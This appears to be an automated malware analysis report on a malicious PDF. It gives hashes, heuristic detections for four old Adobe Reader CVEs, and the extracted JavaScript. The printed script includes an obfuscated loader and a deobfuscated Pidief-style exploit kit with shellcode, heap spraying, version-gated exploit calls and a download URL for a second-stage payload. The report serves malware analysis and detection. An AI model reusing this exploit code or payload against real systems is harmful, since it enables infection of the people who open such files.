Malicious PDF / .PHP — malware analysis report

Static analysis result for SHA-256 7e081fd769f081d1…

MALICIOUS

PDF / .PHP

12.3 KB Created: 2010-03-18 12:50:26 Authoring application: Lecjebegidirejpa (via Sevalibgobo) First seen: 2026-05-11
MD5: cfaa9358341e0d0b8e920c3aadae8525 SHA-1: 5841ea20aad9d331b1717e174c1adfbab4759489 SHA-256: 7e081fd769f081d10f3208e59275cd20a15972f9bd8d3d8c02e2e36576b78bcf
410 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript T1566.001 Spearphishing Attachment

The embedded JavaScript utilizes multiple known CVE exploits targeting Adobe Reader, specifically referencing functions like Collab.collectEmailInfo, Collab.getIcon, util.printf, and media.newPlayer. The script also contains a URL, http://www.boxyelloww.com/b/d/0.php?&, which is likely used to download a second-stage payload. The combination of exploit kit usage and a download URL strongly suggests a malicious document intended for exploitation and further infection.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 10

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.boxyelloww.com/b/d/0.php?& Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0020_000.js pdf-javascript-stream PDF /JS object 20 at offset 0x2AA5 2786 bytes
SHA-256: 2445fd61cdc884d994970ed55f9e8e7f050974a5cf9635224b66e66da8d84b77
Preview script
First 1,000 lines of the extracted script
var uZ				=				[				"a"				,				"e"				,				""				,				"l"				,				"v"				];				p				=				new				 String				(				uZ				[				1				]				+				uZ				[				4				]				+				uZ				[				0				]				+				uZ				[				3				]				+				uZ				[				2				]				)				;								var n				=				[				"Word"				,				""				,				"geNth"				,				"getPa"				];				x				=				new				 String				(				n				[				3				]				+				n				[				2				]				+				n				[				0				]				+				n				[				1				]				)				;								var d				=				[				"rds"				,				""				,				"mWo"				,				"eNu"				,				"get"				,				"Pag"				];				nW				=				new				 String				(				d				[				4				]				+				d				[				5				]				+				d				[				3				]				+				d				[				2				]				+				d				[				0				]				+				d				[				1				]				)				;								var qZ				=				[				"p"				,				"e"				,				"s"				,				""				,				"a"				,				"e"				,				"c"				,				"u"				,				"n"				];				nI				=				new				 String				(				qZ				[				7				]				+				qZ				[				8				]				+				qZ				[				1				]				+				qZ				[				2				]				+				qZ				[				6				]				+				qZ				[				4				]				+				qZ				[				0				]				+				qZ				[				1				]				+				qZ				[				3				]				)				;								var yJ				=				[				"cha"				,				"rCo"				,				""				,				"t"				,				"deA"				];				b				=				new				 String				(				yJ				[				0				]				+				yJ				[				1				]				+				yJ				[				4				]				+				yJ				[				3				]				+				yJ				[				2				]				)				;								var t				=				[				"fromC"				,				"de"				,				"harCo"				,				""				];				pM				=				new				 String				(				t				[				0				]				+				t				[				2				]				+				t				[				1				]				+				t				[				3				]				)				;								var wT				=				[				"p"				,				""				,				"a"				,				"p"				];				j				=				new				 String				(				wT				[				2				]				+				wT				[				0				]				+				wT				[				0				]				+				wT				[				1				]				)				;												var xK				=				this				;				var				 yP				=				"C7V%".substr(3)				;				var				 h				=				2				;				var				 nIN				=				String				;				var				 f				=				0				;				var				 dU				=				3				;				var				 j				=				xK				[				j				]				;				var				 uT				=				2				;				var				 v				=				xK				[				nI				]				;				var				 dQ				=				xK				[				nW				]				(				uT				)				;				var				 kX				=				""				;								for				(				var				 jW				=				f				;				jW				<				dQ				;				jW				+=				1				)				{								eR=xK				[				x				]				(				uT				,				jW				)				;				var				 pE				=				eR				.				substr				(				eR				.				length				-				h				,				h				)				;				var				 aX				=				v				(				yP				+				pE				)				;				var				 r				=				aX				[				b				]				(				f				)				;				var				 tU				=				r				^				dU				;				kX				+=				nIN				[				pM				]				(				tU				)				;				}				this				[				p				]				(				kX				)				;
legacy_pdfkit_stage_000.js deobfuscated-js getPageWords-XOR Pidief stage normalized at offset 0x0 3498 bytes
SHA-256: 98c9e558da84a1cb0f3005dd2158e74474e6a8588c77724f3549adc59c2d9c31
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/* getPageWords download URL: http://www.boxyelloww.com/b/d/0.php?&  */
var _u="http://www.boxyelloww.com/b/d/0.php?& ";
����ɸ����������������������ͭ�������ͭ���ɭ��ͭ����������
	var src_table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/.:_-?&=%";
	var dest_table= "xa83V5OJ&Enl0Hpq-tNybkeYZ%cSAMTj7KFXBoI_rC6DL=0hwGdfu4Rvg:1zQsmiP2/9?W.U";
var hwTl9Dn = new Array();  

function get_shellcode(name) {

	var u = get_url();
	var s = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";
	s+= u;
	return unescape(s);
}


function get_url(){ 
	var str = this.info.author;
	var ret = encode_str(str, dest_table, src_table);
	return ret;
};


function encode_str(str, src_table, dest_table){

	var ret="";
	for(var i=0; i < str.length; i++)
	{
		var index = src_table.indexOf(str[i]);
		if(index > -1 )
		{
			ret += dest_table[index];
		}
	}
	return ret;
};


function Rq4v1qCC(PDrScZj4, ez5pL6){    

	while (PDrScZj4.length * 2 < ez5pL6){      
		PDrScZj4 += PDrScZj4;    
	}    

	PDrScZj4 = PDrScZj4.substring(0, ez5pL6 / 2);    return PDrScZj4;  
}  

function x8EvTm(I7T0vko5){  

	var qPBt7D = 0x0c0c0c0c;        

	NRjjR6W6 = get_shellcode("pdf");

	if (I7T0vko5 == 1){qPBt7D = 0x30303030;}

	var FeQq1Vv = 0x400000;   
	var tsSzSc = NRjjR6W6.length * 2;    var ez5pL6 = FeQq1Vv - (tsSzSc + 0x38);    
	var PDrScZj4 = unescape("%u9090%u9090");    

	PDrScZj4 = Rq4v1qCC(PDrScZj4, ez5pL6);    

	var x62RaBM3 = (qPBt7D - 0x400000) / FeQq1Vv;    

	for (var Ojafoj = 0; Ojafoj < x62RaBM3; Ojafoj ++ ){    
		hwTl9Dn[Ojafoj] = PDrScZj4 + NRjjR6W6;    
	}
}  

function U2UcYKr(){   

var IyIFVe = app.viewerVersion.toString();          

if (IyIFVe > 8){
	x8EvTm(1);
	var iVvCdy8 = "12999999999999999999";          


for (RvU5gmOE = 0; RvU5gmOE < 276; RvU5gmOE ++ ){            iVvCdy8 += "8";   
       }          util.printf("%45000f", iVvCdy8);      
}
if (IyIFVe < 8){

	x8EvTm(0);    
	var UNXaCTHb = unescape("%u0c0c%u0c0c");    

	while (UNXaCTHb.length < 44952) UNXaCTHb += UNXaCTHb;    

	this .collabStore = Collab.collectEmailInfo({        subj : "", msg : UNXaCTHb});      
}       

if (IyIFVe < 9.1){

	if (app.doc.Collab.getIcon)
	{
		x8EvTm(0); 
        var eGREUTNw = unescape("%09");          
		while (eGREUTNw.length < 0x4000)eGREUTNw += eGREUTNw;

		eGREUTNw = "N." + eGREUTNw;    

		app.doc.Collab.getIcon(eGREUTNw);   
	}
}   
if (IyIFVe == 9.2){        
	x8EvTm(1);              
	util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());           
	try 
	{	
		media.newPlayer(null);              
	} catch(e) 
	{}
	util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
}

}

U2UcYKr();

���������������ͮ�����ͮ��������ͮ���ͮ�������������٨����������ɭ�ɮ��ͭ��ͯ��ͭ��������͸�� �%%

Open this report in the interactive analyzer, or submit your own file for analysis.